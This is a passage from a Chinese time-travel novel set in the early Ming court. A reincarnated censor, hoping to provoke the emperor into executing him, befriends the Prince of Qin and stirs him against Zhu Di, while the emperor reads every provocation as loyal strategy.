中年男子身材魁梧,面容周正,一身素衣却依旧难掩其身上的贵气。 他是大明的王爷,是老朱的四子,燕王朱棣! 历史上的朱棣在老朱去世朱允炆登基后因朱允炆削藩起兵发动靖难,而后登基开启了永乐盛世。 而眼下的朱棣,自然还没有敢往改朝换代这一个方向上深入想过。 上头有个手段深不可测的老朱压着,还有个能耐过人的老大朱标顶着,身边还有秦王朱樉和晋王朱棡制衡,这会儿的朱棣只是想好好经营好封地,不被老朱和大哥所忌惮,让燕王府上下平安。 听到手下人的上报,朱棣明显松了口气。 拿起手上传来的信件扫了一眼,多日未曾露出笑容的脸上此刻终于多出了几分轻松。 “看来是本王多虑了,父皇并未想对我们出手。” 事实上和朱樉一样,朱棣一早就收到了老朱的传召。那时朱标刚死,收到消息的朱棣先是震惊与心痛,再之后紧随而来笼罩他的就是无边的恐惧! 身为老朱的儿子,朱棣更清楚大哥在自己这位父皇心中的分量,更明白老朱的脾气。 大哥一死,父皇得疯! 而紧接着朱棣就收到了来自京城的传召,着令即可启程入京。 自从当上王爷之后,朱棣已经有很多年没有见过自己的老爹了,而正是因为久别,又是在这个关键的关头召见,朱棣才害怕。 都说虎毒不食子,可皇家,哪有那么多的亲情? 在朱棣看来,父皇只看重大哥,只在意大哥,而至于其他人,包括自己,也都只是附带的罢了。 而眼下大哥不明不白暴毙.... 谁有最大的嫌疑? 从受益角度来说,太子暴毙,自然是几个王爷最有嫌疑,万一.... 朱棣不敢赌,但这诏书又不得不接,于是他只好接下诏书,一边拖延时间用缓兵之计,一边观察秦王府和晋王府那头的动向。 毕竟咱再怎么说也是老四,就算是要背锅,也得二哥和三哥先背锅吧? 本着这样的想法,朱棣咬牙拖延时间,哪怕是确定消息之后入京被治罪也认了,还是小命最打紧.... 此行朱棣从北平府南下,也带了十来个随从,而其中的一名身穿黑衣的和尚则最为醒目。 他是燕王府的幕僚,博学多闻,燕王府毗邻北疆时常要与北边的远超余孽以及草原部族打斗,他跟在朱棣身边出了一个个计策为朱棣筹措到了不少的银钱,朱棣知其才学,对其信任。 “王爷,事不宜迟,当即刻启程,秦王既已入京无恙,晋王那边想来也会有动作,王爷当赶在晋王之前抵达京城。” 黑衣和尚对朱棣说道。 朱棣点了点头:“那我们就即刻启程。这算起来也有许多年未曾见过父皇了,也不知父皇的身体是否康健。大哥去世对父皇的打击想来很大,可别出了什么差池才好。” 朱棣喃喃自语,眼中闪过一抹忧虑。 收到诏令不敢入京是担心自己,可对老朱这个父亲,朱棣也同样担心。 眼下朱樉入京无恙,朱棣自然担心起了老朱.... ..... 正如朱棣所料,他亲爱的三哥,晋王朱棡在收到了京城的消息之后也即刻启程,奔赴应天府。 转眼翌日。 应天府。 宫门不远处的宅院里,朱煐却是皱着眉头,一番苦思。 今天可把他给郁闷坏了。 又是一天早朝,朱煐自觉找到了个不错的机会,想让老朱杀了自己,结果今天非但没有触怒老朱,还被老朱给当众夸奖了一番。 这让他郁闷不已。 “这是想千金买马骨,我成马骨了?” 朱煐很郁闷。 原本以为在大明为家国天下被老朱所杀很容易,可眼下的局面却给了他一种非常熟悉的感觉..... 这感觉...他有过,经历过.... 这特么的怎么就这么像在李二麾下的时候的感觉呢? 想到前世在贞观年间李二手下当官的种种经历,朱煐就是一阵郁闷。 自己已经非常尽力,甚至作死级别都已经超过了魏徵,可偏偏每次李二就是不杀,不光不杀,还给自己升官。 这玩意儿和眼下的情况何其相似? 千金买马骨,这马骨自然不能轻易出事,对于常人而言,这是巴不得的事,可对于自己来说,这特么的,简直就是个晴天霹雳啊! 而一旁的张平见朱煐愁眉不展,也是一脸的疑惑。 “老大,你这是怎么了?” “怎么愁眉不展的?” “今天朝堂上刚受了陛下夸赞,老大你该高兴才是啊。” 你懂个嘚儿! 朱煐冲张平翻了个白眼,却也没有解释.... 而就在这时.... “老爷,秦王殿下来访,在外面想见老爷。” 高龙已经很快进入到了自己的角色里,朱煐给他安排的是府中账房先生兼管家的位置,老朱特意让人送来了一些银两作为赏赐,府中倒也不缺银钱,高龙昨日用这些银钱给府里买回来了一些生活必需品,他安排诸事,倒也将府中诸事安排的井井有条。 “秦王朱樉?” “他来做什么?” 听高龙上报,朱煐蹙眉。 “老爷,那咱...见是不见?” 高龙作为锦衣卫,听命行事就是天职,来之前专门受到了老朱的召见,老朱的原话就是从此以后完全听令朱煐调遣,命令优先级还要更高于蒋瓛。 朱樉虽然是秦王,可高龙并不放在眼里,他的眼里只有老朱还有朱煐这个头头。 朱煐不想见,毕竟这会儿正心烦呢。 “让秦王回去吧,我不见。” “是。” 高龙应命正要离去。 一旁的张平连连点头,夸赞道:“老大不愧是老大,高瞻远瞩啊,这王爷身份本就敏感,若是私会王爷被人参上一本,却也麻烦。” 张平这话顿时让原本蹙眉的朱煐眉头一挑。 “且慢!” 第30章 王爷,陛下对您寄予厚望! 朱煐当即开口叫住了正准备往门口去回绝朱樉的高龙。 “老爷?” 高龙转身疑惑地看向朱煐。 朱煐微微一笑:“去,让秦王进来,有朋自远方来不亦乐乎,拒之门外显得我们不懂礼貌了。” “是。” 高龙心中虽然疑惑,但他明白自己的身份,没有多嘴半句。 而等高龙离开后,一旁的张平却憋不住心中的疑惑。 “不是老大,眼下这个时间秦王身份敏感,我们倘若私下见他,明日怕是就得被人给参上一本啊。” 张平陈明利害。 朱煐瞥了张平一眼,微微一笑。 身份敏感? 身份敏感才好啊。 既然和蓝玉这个朝中大将亲近老朱还能忍,那自己就再给上上强度!我再和秦王这位王爷私下接触接触。看你能忍到何时! 朱煐冲张平摇了摇头:“志远,你我被参的次数还少吗?” “要是这也怕那也怕,不如不做这鸟官。” “身正不怕影子斜,不管外人怎么说,我朱煐但求问心无愧即可。” “我朱煐做事,何须向他人解释?” 嘶! 朱煐一番话落入张平耳中,张平心中顿时倒吸了一口冷气。 张平原本眼中的疑惑顷刻间消散。 此刻,朱煐的身躯在张平的心中又高大了许多。他激动地看着朱煐,心潮澎湃。 老大!这就是老大啊! 不为外力所扰,不为他人所扰,但求本心无愧! 这是什么样的境界? 我张平苦读圣贤书多年,这为人处世的道理不知读了多少,入世后对那阿谀奉承之行也是嗤之以鼻,可却觉着书中所言终究是过于理想,如今见老大,方知,非书中所言有误,乃我等凡夫俗子,境界不足! 张平心中想着,看向朱煐的眼中,更添了几分崇敬! 很快张龙就把朱樉给带入了府中。 朱樉不仅仅人来了,还带来了丰厚的礼物,礼物装满了几大车,直接拉到了朱煐的院落里。 而此时的朱樉心中一凛。 看着朱煐,心中大为震撼。 “吕先生说的不错。这小子果然是父皇的人!” “这府宅离宫门这般近,看这位置,此地此前十有八九便是皇产。也不知老爷子打的是什么主意...” 朱樉心中疑惑,看了眼朱煐,斟酌了一下后开口。 “看来朱御史也是出身士族啊,能在这地段买来府宅,当真出手不凡。” 朱煐尚未开口,一旁的张平就笑着开口道:“王爷,这府宅是陛下送的,此地原是皇产,陛下信任朱御史,于是相赠。” 朱煐也是点了点头:“下官出身寒门,并无背景,王爷想错了。” 朱樉一听,心道果然,面上却不动神色,侧身一手指向院子里的几大车礼物对朱煐笑道:“区区薄礼,不成敬意,还请朱御史笑纳。” “老大,这礼物有点多啊,秦王是藩王,要是收了他的东西,怕是会被陛下所猜疑。”张平凑到朱煐耳边小声嘀咕。 原本朱煐还是无所谓的态度,不过经张平这么一提醒却是精神顿时一震。 “哈哈哈哈,好!既然王爷盛情,那下官就收下了。” 猜疑? 猜疑好啊,可劲猜疑吧。 而朱煐的这话也把在场的两人全给听愣了.... 张平是没想到朱煐在听了自己的提醒之后还会选择收下这么多的礼物。 而朱樉则是没有想到自己这回送礼,对方居然就这么赤裸裸的,没有半点推辞地收下了! 朱樉在一愣之后,旋即陷入了思考。 要说年轻的那会儿,朱樉最讨厌的就是思考,就是动脑子,总觉得武力能够解决一切,能够动手的事情绝对不动脑,没有什么东西是打一架不能解决的,要是不能解决,那就再来一次男人的决斗。 可随着年岁的增长,再加上明里暗里吃了不少的亏,踩了不少的坑,朱樉越来越明白了脑子的重要性。所以他对吕凯予以重用,予以信赖,而同时,朱樉也开始独立思考。 他开始用脑子了,经常也会灵机一动,想出不错的点子。 这会儿他没有带幕僚,但朱樉却也会自己先思考。 他开始分析。 “吕先生让我来试探这朱煐的态度,以此试探老爷子的态度。” “朱煐的背后是老爷子,我乃藩王,藩王送上重礼,还是在这明面上送的,谁真敢收?哪怕真敢收,也该推辞再三再迫不得已收下才是。可眼下却如此爽快地收下,没有半点推辞,就像是....” “就像是....早有所料?” 朱樉眼前顿时一亮,他的脑海里灵光一闪,一个想法出现在了他的脑子里。 “是老爷子让他收的?” “老爷子早料到我会来找他?” 越想,朱樉越觉得就是如此。 朱樉激动了。 老爷子收了礼,说明什么? 说明自己彻底安全了啊! 想到这儿,朱樉焉能不激动? 想了想,朱樉看向朱煐,斟酌了一番后开口:“朱御史,昨日朝堂多有得罪,还望莫怪。日后你我还得多走动走动才是。本王久未回京,没想到此番刚回京城便遇到了朱御史你这般的青年才俊,想结交的紧啊。” 朱煐闻言眼前一亮。 和朱樉多走动走动? 官员与藩王勾结,这可是君王大忌!朱樉是老朱的儿子,他自然不会有事,可自己算个球?勾结藩王,最终的结果那就是个死啊! 为家国天下而死,自然不能同朱樉行倒行逆施之事。可只要与他走近些,让老朱猜疑,这就够了! 皇帝要杀你,不需要证据,只要他心里怀疑,你就已经有了取死之道。 念及至此,朱煐顿感欣喜。 “好说好说,王爷相邀,下官哪有拒绝的道理?” “日后一定多寻王爷走动。” 见朱煐满面笑容,朱樉的脑子也在快速思考。 正常而言,作为一个官员,与藩王肯定是要保持距离的,哪怕是暗地里有紧密的联系,至少明面上不能让人抓到把柄。 可眼下,这朱煐却没有半点保持距离的意思。 这是什么意思? 这背后看来必然又是老爷子的指使.... “老爷子是有什么话想与我说,却又不好开口吗?” 朱樉一思考,顿时眼前一亮。 “难道是老爷子想通过这朱煐来表明对本王的信任?” 越想,朱樉觉得自己想的越发正确,同时也无比感动。 在皇家,信任是一种无比奢侈的东西。 “爹,我明白了!” “我已经不再是以前的朱樉了,你的意思,我悟了!” 朱樉心潮澎湃激动不已心中亢奋地想着。 朱煐看着脸色涨红,无比激动的朱樉,不由愕然。 不是,这大明的王爷怎么也和史书记载的性子全然不同? 难不成又是后世的满清在编写明史的时候动了手脚? 这秦王朱樉,怎么一惊一乍的? 这后世满清在写明史的时候不光把老朱的形象进行了艺术加工,连带的老朱全家都给加工了? 这念头一起,朱煐越想越觉着有道理。 “看来这明史参考的价值有限了,想要真正了解这些人,还得亲自去接触才行。” 朱煐心中暗戳戳地想着。 正想着呢,朱樉有一次主动开口。 “朱御史,实不相瞒,昨日在朝堂上你的话在退朝之后引得本王深省,本王反复思量后深以为然。” “你说的不错啊,从大明朝廷的角度出发,我等藩王造反实乃不得不考虑的情况。” “敢问朱御史,眼下情况,本王该如何证明自己?本王实无造反之心啊!” 朱樉的眼睛死死盯着朱煐,他想从朱煐的反应和回答里听到老朱的深意。 朱煐看着朱樉,此情此景,似曾相识。 先前蓝玉特么的不就也问吗?这会儿朱樉也来。 交浅言深是大忌,而且还是和一个王爷谈论这些,一旦要是这些事情传入皇帝耳朵里,那这可比帮蓝玉保命后果严重多了。 一个是朝中国公勾结,蓝玉好歹也只是握着兵权的大将,终究还是要顾忌一些,可朱樉不同,这可是王爷! 而且眼下太子朱标去世,朱樉也是嫡子,是和朱标同父同母的嫡次子! 真要干出什么事情来,还真就可以名正言顺。 一旦要是帮着朱樉筹谋这些,十有八九会被清算。 这要换做旁人,这样浑水是指定不会蹚的,不过朱煐见朱樉开口说出这些,心里却是乐了.... 正中下怀啊! 我与蓝玉深交,老朱还能容忍,可我要是和这朱樉走到一起,有几个皇帝能够这般气量? 要知道,哪怕是前世在贞观年间的时候,自己同李二的几个儿子搅和在一起,也险些丢了性命,也就是二凤能忍,终究没有下杀手。 可老朱,表面上看着是挺宽容的,可总不能气量比李二还大吧?比李二还要脸面吧? 这绝不可能! 朱煐想清楚后,笑着对朱樉道:“王爷何必担心?” “我有一句话送给王爷。” 朱樉闻听此言,神色一正。 脸色也变得严肃,心脏砰砰砰直跳,较平时加速跳动。 来了! 定然是老爷子的吩咐! “还请朱御史赐教!本王感激不尽!” 朱樉姿态放的很低,见惯了大场面的朱樉此刻也不由得紧张起来.... 他面对谁都不紧张,唯独面对老朱这个爹的时候是真心的肝儿颤。 朱煐微微一笑:“王爷言重了,下官觉得,其实王爷只需记着,问心无愧即可。” “既然王爷没有造反之意,那又何必担心?” “这....” 朱樉微微蹙眉,斟酌了片刻后再度看向朱煐:“朱御史,不知可还有良言相告?” “不知王爷您是想当贤王,还是反王?” 朱煐眼睛眯了眯,忽然脑海里又闪过了一个画面。 他想到了前世在大唐贞观年时,在李二手下当差,死活都死不掉,二凤要脸,就是不杀他,这让朱煐无比的苦恼。 最终生生把李二给熬死了,新皇登基,痛痛快快就赐死了。 朱煐忽然想起了前世的这段记忆,于是准备未雨绸缪。 老朱眼下这年纪,再加上自己的蝴蝶效应的话,说不定提早驾崩,而一旦老朱去世,后续大明的皇帝会是谁? 朱允炆?朱允熥?又或者...朱棣? 眼下朱允炆定然是对自己恨之入骨,朱允熥不好说,但他登基的概率不大,哪怕有蓝玉相助也不大,那么....这要是再让朱棣把自己给惦记上,哪怕老朱这头出了纰漏,还有个未来的新皇托底! 念及至此,朱煐笑吟吟地看向了朱樉。 而此时的朱樉被朱煐这一问给吓了个不轻。 他当即道:“当然是贤王!” “朱御史,你就别说笑了,本王可从来就没有想过要造反啊!本王绝不当反王!本王可以对天起誓!” 朱樉无比激动。 “王爷莫急,别激动,下官只是随口问问嘛。” “朱御史,此事可做不得玩笑啊,你这随口问问,可真要了本王性命了!” 朱樉一脸幽怨。 朱煐笑着继续道:“既然王爷是想当贤王,那这事情就简单了,王爷是贤王,可并非所有人都愿意当这贤王啊!” “王爷想想,倘若您有其他兄弟心怀异心,您....?” 朱樉脸色刷的一下煞白。 他瞪大了眼睛盯着朱煐,看着笑呵呵的朱煐顿时背后升起了一股凉意! 这朱煐不过是刚入朝没几天的小子,这番言语,是他敢说出来的? 这背后是谁,不用想都知道。 这话看似是朱煐在说,实际上是老爷子在说! 也就是说.... “难道老爷子已经收到了什么风声?” 朱樉心中惴惴,同时又庆幸不已,还好自己确实是没有生出过异心,否则这可不就悬了吗? 不过...这谁会当反王呢?老爷子又是收到了什么消息? 朱樉不敢怠慢赶忙道:“朱御史放心,倘若当真有人想反,那就休怪本王不顾兄弟之情了!” “听闻晋王与王爷私交甚好,想来人以群分,晋王应该也是想当贤王的。” “至于这燕王....唉...听说这北边北元时常进犯北平府,为此燕王不得已招兵买马,想来也是压力很大啊。” 朱樉闻言心中一凛。 “是老四?” 旋即他的脸色涨红。 老四,果然是你! “朱御史放心,本王一心为国,谁要是想坏我大明万世之基,那他就是找死!” ...... “阿嚏!” 而就在朱煐大胆地挑拨离间,给朱棣树敌的时候。 距离京城四百里外的一处官道上,骑在马上的朱棣忽的打了个喷嚏。 “王爷,怎么了?” “可是最近赶路太急,染了风寒?要不歇上两天?” 手下关心地看向朱棣。 “不必,还是尽快赶到京城吧。” 朱棣摆了摆手示意队伍继续前进。 ..... 而此时的朱煐府邸。 在朱煐的一番言语攻势以及朱樉的误会下,两人很快就有了共同的敌人——老四朱棣! 朱樉在朱煐的盛情邀请下留在朱煐府中吃了一顿。 大明的菜肴相比于后世实际上已经没有什么太大的区别,要说平头老百姓的话,菜品的多样性和味道或许和后世的老百姓有不小的差距,可你只要有钱,在大明,吃到美食还是容易的。 高虎不仅仅是锦衣卫,还是一个曾经隐藏在御膳房,真正学习过厨艺的暗子,他的厨艺算得上一流。 至于食材,无非就是那几样,鸡鸭鱼,牛羊。 哦对了,由于阉猪的技法还没有在这个时代大规模出现,所以猪肉经常带着一股子骚味,因此哪怕是平头老百姓,有点家底的,也不大会吃猪肉。 不过一般百姓没得选,家境不富裕。 朱煐自然不在此列,且不说老朱的一些赏赐,上回蓝玉也送来了不少的礼物,吃喝一阵还是够的。 酒足饭饱,朱煐亲自送朱樉离开。 走到门口,朱煐拉着朱樉的手。 “王爷,陛下对您可是寄以厚望啊!” “您是第一个回京的,这代表了您对朝廷的拳拳之心,日后定是大明贤王!” “朝中的攻讦不必理会,清者自清浊者自浊,我们心中都有数,您的目光当放的更加长远,应当放在朝堂之外,放眼天下才是!” “朱御史放心,本王与大明一荣俱荣,一损俱损,谁要是敢对朝廷出手,先问过本王手中的宝剑答不答应!” 朱樉意气风发,吃了这一顿,他彻底放心了。 老爷子还是信任自己的,不光没有怀疑,还交付给了自己如此重大的任务! “老四,倘若你当真有了不该有的心思,那就别怪哥哥我了!” 朱樉心中已然将今日与朱煐所谈归纳总结成了老朱给他的托付..... ..... 转眼又是数日。 朱樉自从去了朱煐府宅赴宴之后,回府之后立刻召集了府上幕僚,同吕书匠等一众进行了仔细的分析与商议。 最终一致得出了和朱樉所想的一般无二的结论。 在他们看来,以朱煐的身份,做出这一桩桩一件件的事情有悖常理,而做了这么多出格的事却又安然无恙,这就更加诡异! 唯一能够想到的也就是这背后有人站着,而朱煐,只是傀儡! 而这个人,最有可能的就是当今天子,老朱! 如此一来,朱煐对朱樉说的这一番话,朱樉包括秦王府的幕僚压根就没有半点的疑惑和不理解。而是奉若圣旨! 自觉已经摸清楚了老朱的态度和意思的朱樉,这几日连走路都挺胸抬头了,再没有了先前的不安。 而与此同时,这些日子以来京城中所发生的大小诸事,悉数都送到了老朱的桌案前。 ...... 皇宫中。 御书房。 老朱的面前不是堆积如山的奏章,而是一封封来自锦衣卫的密信。 他拆开一封封密信看了起来。 在设立锦衣卫之处老朱想的就是以这些锦衣卫充当自己的耳目,而经过这些年的布置,老朱终于也让锦衣卫做到了。眼下的应天府,大大小小的事情,几乎就没有锦衣卫查不到的! 蒋瓛躬身在老朱的侧边站着听命,不敢有丝毫的怠慢,呼吸也压低了不少,生怕因为呼吸声太重打扰到老朱。 “蒋瓛,哪些信是和咱乖孙有关的?先取来给咱看看。” 老朱已经有些迫不及待了。 老朱巴不得天天能够传朱煐入宫,能和他的乖孙说说话他求之不得。 可老朱又担心频繁请朱煐入宫,会引起不必要的风言风语。 这其他人的话老朱不在乎,可老朱不得不考虑自己古怪的举动会不会引起朱煐的察觉。 他可不想在这会儿就露出破绽。 蒋瓛三两下就把朱煐相关的资料给归整了出来。 “陛下,这些都是朱御史这些日子做的事。” “嗯。”老朱点了点头:“你再把允炆的还有允熥的都给咱分别规整规整,咱都要看看。” “是陛下。只是....” 蒋瓛欲言又止。 “有什么话就直接说。”老朱眉头皱了皱。 “回陛下,允炆殿下这些日子倒是有传报,只是允熥殿下这几日除了上朝就一直在房间里,连用膳都是有一顿没一顿的。” 老朱眉头皱的更深了:“蓝玉呢?咱都饶了他了,他不该去找允熥好好商量商量?不应该吧?” 老朱摸着胡子嘀咕着。 蒋瓛笑着躬身:“陛下您就别提了,凉国公这几日也是家门不出,怕是被吓坏了。” “吓坏?他?” “哈哈哈哈哈,蒋瓛啊,你这是被他给骗了!” “蓝玉他那胆子可不小啊。他这是做给外人看呢,瞧着吧,过几天确定咱不会对他动手之后就该出来找允熥了,且等着吧。” “允熥这孩子倒是性子确实懦弱了些,不过也无妨,只要不是当储君,性子么,慢慢来呗,孩子总会长大的。” 老朱也是想得开。 先前没有朱煐消息的时候,要让老朱从朱允炆和朱允熥里面择一当储君,看到朱允熥无比懦弱的性子自然让老朱恼火,这就等于说大明江山,未来的大明继承人,只剩下了朱允炆这么个不上不下的选择,朱允熥连培养的资格都没有达到。 而眼下老朱的想法早已经出现了天翻地覆的变化。 无论是朱允炆还是朱允熥,在老朱的眼里,全然不如朱煐这个失而复得的长孙,人品,性格,能力,资质,皆是上上之选,而今老朱要做到就是培养,以及让朱煐认可他。 老朱打开了有关朱煐的密信。 一旁,蒋瓛给老朱讲解。 “陛下,朱御史这些天除了上朝之外便是在府中,不过秦王多次上门拜访,朱御史每次都是光明正大与秦王商讨。” “商讨的内容皆在信中。” 朱煐没有背着人,他巴不得这些消息能够传到老朱这头呢。 蒋瓛十分紧张看着老朱。 哪怕知道老朱有意立朱煐为皇储,可这明目张胆地和藩王搅和到一起,会是什么结果,蒋瓛的心里也没底,他是锦衣卫都指挥使,虽然很想和朱煐拉近关系,可只要老朱在一天,那他的第一听命人就是老朱。 老朱看着密信,出乎蒋瓛的预料,老朱的脸上露出了笑容,边看着信边点头。 “好好好,不愧是咱大孙啊。还当真是一心为我大明。” 老朱将手中密信递给蒋瓛:“你且看看,能不能看出些许门道?” “????” 蒋瓛一愣,而后恭恭敬敬地双手接过密信,端详一阵后,不由骇然。 他的后背和脑门唰的一下就冒出了细密的汗渍.... 第31章 殿下何不掌掴吕氏? 信中写的正是朱煐让朱樉防备其他诸王,尤其是燕王朱棣。 这特么的,不是离间皇家兄弟情吗? 蒋瓛对老朱十分了解,虽然表面上看老朱对除了太子之外的儿子毫不在意,然而事实上老朱半点也没有亏待手下的几个儿子,甚至给了兵权,让几个儿子镇守四方,秦王朱樉,晋王朱棡,燕王朱棣,这三王麾下的势力也半点也不小,倘若这皇帝不是老朱,换个皇帝,朝廷也得对几位藩王忌惮三分。 这也是为什么朱煐提出倘若蓝玉一死,藩王作乱,朝堂将无人可用的这言论之后朝中无人反驳。 因为这几位王爷的势力,确实是大啊! 而这样的势力,也是老朱有意为之,老朱不希望看到同室操戈,在他想来,得给自己的儿子们一些自保的资本,哪怕是面对朝廷,也能自保的资本,如此避免兄弟阋墙。 父爱入山,默然无声。 老朱从未说过这些,可这些在他的各种行动中却展露无遗。 而眼下,朱煐此举,无异于挑拨老朱的这几个儿子之间的感情,蒋瓛小心翼翼地看向老朱,露出了个难看的笑容:“陛下,臣...臣觉着,朱御史这也是无心之举....” “不!咱看他就是故意的!” 老朱一挥手打断了蒋瓛。 蒋瓛顿时心里咯噔一下,不由苦笑。 殿下啊殿下,下官这是半点也帮不上你了,你怎的这般鲁莽?离间几位王爷的感情,此乃陛下之逆鳞啊! 蒋瓛心里暗暗叫苦。本想帮着朱煐说两句,可结果刚开口就被老朱给打断了。 老朱眯着眼睛盯着蒋瓛:“这小子就是故意的!” “这就是他的高明之处!” “????” 蒋瓛闻言当场一愣。 陛下这话,是反讽? 怎么听着不像啊.... 蒋瓛还在疑惑,老朱笑着解释道:“藩王势大,这小子一早便知道了,先前他在朝堂上力保蓝玉,便是为此,只是咱没有想到,这转眼这小子就开始了行动。” “分而化之,让老二老三和老四相互制衡,以此达到无力与朝廷抗衡的目的,他们几个要是相互制衡,应付麻烦都来不及,哪里还有什么功夫生出什么不该有的心思?” “当初咱封老二老三和老四出去也有这个心思,老四才干胆识都与咱像的很,除了标儿之外,没人能压住他,咱想着让老二老三走的近些,以此制衡老四,没想到啊,咱孙倒是和咱想到一块去了!” “好!好哇!” 老朱一番话,让蒋瓛确定,这不是反讽,也不是反话,而是切切实实的称赞! 听着老朱的这一番话,蒋瓛心中一凛。 陛下这是当真把殿下当成了未来储君来看啊! 殿下在陛下心中的地位,还要更高! 蒋瓛没想到自己已经尽可能地高地去判断朱煐在老朱心里的地位了,没想到还是低估了! 老朱这一番话说完,蒋瓛低着头,不敢应声。 开玩笑! 这些个话题,是能随便接茬的吗?一句话可能就会让你万劫不复! 常年在老朱手下当差,蒋瓛十分明白什么时候该说话,什么时候该保持闭嘴。 ..... 朱煐府宅。 这几日朱樉一有功夫就往朱煐府中跑。 他还是坚定地认为朱煐的背后就是老朱的指使,他想借此来向自己那疑心重的老爹上表忠心,同时也想要试探出更多有用的信息。 “朱御史,这几日想来我那两个弟弟就要入京了。” “只是不知该从何下手?还请朱御史指点。” 看着眼前的朱樉,朱煐的心里是疑惑的。 按理说这些日子几乎每天喝朱樉厮混在一起,老朱该有所动作才是,可偏偏老朱那边没有半点消息传来。 听着朱樉的话,朱煐眉头一挑。 朱棡和朱棣要入京了? 想来也是,老朱传召几位王爷那都是早先的事了,只是诸王心存顾忌不敢入京,现如今朱樉无恙,朱棡和朱棣自然要跟上。 朱煐看了朱樉一眼:“王爷想如何行事?” 朱樉神色一敛:“实不相瞒,朱御史,本王决定先给老四一个下马威,你看如何?” “这老四,也太不像话了,收了父皇的传召却推三阻四,迟迟不至,本王乃二哥,长兄如父,父皇不好管教,本王来。” 朱煐闻言一喜。 好家伙,教训朱棣? 那这事儿要是传到这位爷耳中,知道这背后是自己在这出谋划策,吃了大亏的朱棣不得记我一辈子? 虽说穿越有蝴蝶效应,可历史的自我修复能力也不容小觑,日后说不定还是朱棣这老小子当皇帝,要是这样的话,今日种下一颗种子,日后生根发芽,功德圆满也就容易多了。 若是能在老朱手下死了更好,可要是不成,还有个永乐大帝托底啊。 “朱御史,你看如何?” 朱樉见朱煐不说话,不由出声,一双眼睛看着朱煐。 朱煐飒然一笑:“王爷这法子不错,不过得注意分寸,这下手,得重些!得让燕王终身难忘,主要起到一个警醒的效果,力度不够,怕是燕王不长记性。” 朱樉闻言心中一凛,暗道‘果然如此’。 就听听这话,这是一个在朝为官的官员能说出来的话? 这说话的语气,这话...分明就是父皇说的嘛! “看来又是父皇暗中传召了,借这朱煐之口说出。” “如此来看,本王当已深受父皇信任!” 朱樉眼前一亮,顿时一股成就感油然而生。 朱樉是老朱家的老二,从出生以来头上一直就被朱标这个老大压着,朱标太过优秀,以至于处处将朱樉压着,无比耀眼的光芒彻底将朱樉这个老二的所有两点都给遮盖住了。 但朱樉一点也不恨朱标这个大哥,小时候老朱忙于打仗,都是大哥朱标一手将他带大的,因此对于朱标这个大哥,朱樉是心服口服。 可他又不甘心,因为老朱习惯性地就会将大家忽视,老朱的眼里,只有朱标这个大哥。 朱樉小时候也尝试过努力,想要得到老朱这个父亲的认可,可无论再努力,终究无用,根本无法引起老朱的半点重视。 时间久了,朱樉备受打击,他走上了另一条路,他发现每次自己惹事之后,都会被老朱这个日理万机的父亲关注到,虽然挨了一顿揍,可总算不再是个小透明了。 于是他隔三差五开始惹事,老朱让做什么,他偏往反方向去。 朱樉想以此得到老朱的关注。 可这样虽然能短时间内获得一些关注,可却获得不了老朱的认可。 从小到大,朱樉一直都缺少来自父亲的认可,而此刻,朱樉忽然感觉到了一种被需要的感觉.... “大明需要贤王,父皇需要我!” “父皇年龄大了,大哥去世仓促,留下稚子,眼下,该是本王为父皇分忧的时候了!” 朱樉心中越想,越是升起了一股责任感。 他没有想到,从小到大,无比渴望的老朱的认同,竟是在此时得了! “朱御史放心,本王一定给老四一个印象深刻的教训!” 朱樉信誓旦旦地说道。 朱煐听了这话也是乐了,忍不住露出了笑容:“那就有劳王爷了。” “哈哈哈哈,好说,好说,不过小事而已。” 朱樉畅快大笑。 ...... 而与此同时.... “阿嚏!” 远在应天府百里之外,正骑着快马往应天府赶的朱棣猛不丁地打了个喷嚏..... “王爷,您定是染了风寒了,加件衣服吧。” 朱棣皱眉,喃喃自语:“倒也怪了,最近总觉着后背发凉,也不知怎的。” “王爷不必忧心入京之事,既然秦王无恙,陛下想来也不会为难王爷才是。” “但愿如此吧。” 朱棣怅然叹了口气:“父皇的心思,谁能知道?” “再快些,已经耽搁了不少时日了,再晚,怕是要吃不了兜着走。” 说完朱棣两腿一夹,胯下战马速度又快几分.... ..... 皇宫,御书房。 朱樉前脚刚拜访完朱煐,后脚蒋瓛就亲自到了朱煐府上把朱煐给请入了宫中。 朱煐一路上心中暗喜。 蒋瓛身为锦衣卫头头,亲自来传,这说明什么? 说明这事儿,指定不小啊! 最近朝堂上来来回回反复争论的无非就是那么点事情,皇储之位悬而未决,各方角力,这事情在朝堂上说的都差不多了,也不至于私下传召。 这么一排除,朱煐心里顿时也就有了计较。 既然不是朝堂上的公事,那便是私事咯。 什么私事,劳烦蒋瓛这个锦衣卫的头头亲自来传召呢? 这还用想? 那必然是自己私下与朱樉这位大明秦王走得近的消息为老朱所知! 老朱....终于要对自己出手了吗? 想到这,朱煐的心中就隐隐有些激动。 事情,终究是朝着自己预料的方向推进了! 一路上朱煐也没有说话,而蒋瓛见朱煐没有说话,也不敢言语。 朱煐就这么来到了熟悉的御书房。 刚推开御书房的房门,朱煐就是一愣。 御书房里,除了老朱之外,还有一人——已故懿文太子嫡次子朱允熥! ………… 这会儿的朱允熥盯着一双通红的眼睛,脸色灰白。 自从皇储之争,朱允熥被迫上朝开始,他就没有睡过一个好觉,每次哪怕是昏昏沉沉地睡去,也会不由自主地做噩梦。 身在东宫,和朱允炆,吕氏朝夕为伴,身边都是吕氏和朱允炆的人,这让原本就胆小的朱允熥更加草木皆兵。 短短几日的时间,他的身体就已经不堪重负了。 之所以朱允熥出现在这里,就是由于长时间的高度精神紧张以至于朱允熥在东宫昏迷,召了太医,这才惊动了老朱。 原本老朱是想着让朱允熥自己消化,让孩子自己调节,成长,实在不行,等过几日蓝玉装好了样子之后,入宫见朱允熥,让蓝玉去开导。 可没想到自我调节没有等到,却是等到了太医署朱允熥突然昏迷的消息。 好在朱允熥只是因为长时间的高度紧张导致的精神压力过大,朱允熥眯了一会儿之后就醒来,太医也给开了几副安神药。 老朱也没想到,自己的亲孙子,性子懦弱至此! 不就是争个皇储吗? 至于吗? 咱当年刀口子舔血,那也是该吃吃,该睡睡,也没见这样啊,这小子倒好,自己吓唬自己,差点没把自己给吓死! 朱煐看到朱允熥的时候也是一愣。 原本以为是老朱单独召见,没想到朱允熥也在这御书房。 “微臣,叩见陛下。” “哈哈哈哈,朱御史来了。见咱就别拘礼了,这儿又不是朝堂,来来来,给咱过来。” 老朱见朱煐来了,原本不展的愁容顿时烟消云散,取而代之的是满脸的笑意.... “陛下。” 朱煐走到了老朱的面前。 朱允熥此刻正仔细地打量着眼前的朱煐。 